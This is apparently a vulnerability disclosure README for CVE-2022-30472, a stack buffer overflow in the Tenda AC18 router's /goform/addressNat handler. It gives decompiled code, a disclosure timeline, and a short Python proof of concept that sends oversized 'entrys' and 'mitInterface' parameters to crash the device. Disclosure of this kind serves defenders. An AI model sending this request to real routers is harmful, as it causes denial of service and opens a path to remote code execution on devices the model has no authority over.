lcyfrank [*] Some CNVDs are assigned ... on Jun 5 History

..

README.md	6 months ago
vuln.png	7 months ago

README.md

Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/addressNat` page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `fromAddressNat`.

In function `fromAddressNat` it reads 2 user provided parameters `entrys` and `mitInterface` into `v9` and `v8`, and these two variables are passed into function `sprintf` without any length check, which may overflow the stack-based buffer `s`.

```
int __fastcall fromAddressNat(int a1)
{
  int v1; // r0
  char v4[256]; // [sp+14h] [bp-418h] BYREF
  char s[512]; // [sp+114h] [bp-318h] BYREF
  char v6[256]; // [sp+314h] [bp-118h] BYREF
  const char *v7; // [sp+414h] [bp-18h]
  const char *v8; // [sp+418h] [bp-14h]
  const char *v9; // [sp+41Ch] [bp-10h]

  memset(v4, 0, sizeof(v4));
  v9 = (const char *)websgetvar(a1, (int)"entrys", (int)&unk_E5B90);
  v8 = (const char *)websgetvar(a1, (int)"mitInterface", (int)&unk_E5B90);
  sprintf(s, "%s;%s", v9, v8);
  sub_4EAF0("adv.addrnat", s, 126);
  v7 = (const char *)websgetvar(a1, (int)"page", (int)"1");
  v1 = sprintf(v6, "advance/addressNatList.asp?page=%s", v7);
  if ( CommitCfm(v1) )
  {
    sprintf(v4, "advance_type=%d", 7);
    send_msg_to_netctrl(5, v4);
  }
  return sub_2BE4C(a1, v6);
}
```

So by requesting the page `/goform/addressNat`, the attacker can easily perform a **Deny of Service Attack** or **Remote Code Execution** with carefully crafted overflow data.

PoC

```python
import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/addressNat?"
url += "entrys=" + "s" * 0x200
url += "&mitInterface=" + "a" * 0x200

response = requests.get(url)
```

Timeline

- 2022-05-05: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30472)
- 2022-06-03: CNVD ID assigned (CNVD-2022-43056)

Acknowledge

Credit to @peanuts and @cylin from IIE, CAS.